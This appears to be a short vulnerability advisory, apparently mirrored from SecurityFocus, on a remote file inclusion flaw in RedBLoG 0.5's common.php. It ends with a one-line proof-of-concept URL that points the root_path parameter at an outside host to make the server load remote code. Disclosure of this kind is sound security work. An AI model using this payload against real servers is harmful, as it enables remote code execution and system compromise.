RedBLoG 0.5 - 'common.php?root_path' Remote File Inclusion

source: https://www.securityfocus.com/bid/20115/info
  
The redblog application is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
  
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/Path/common.php?root_path=http://www.example.com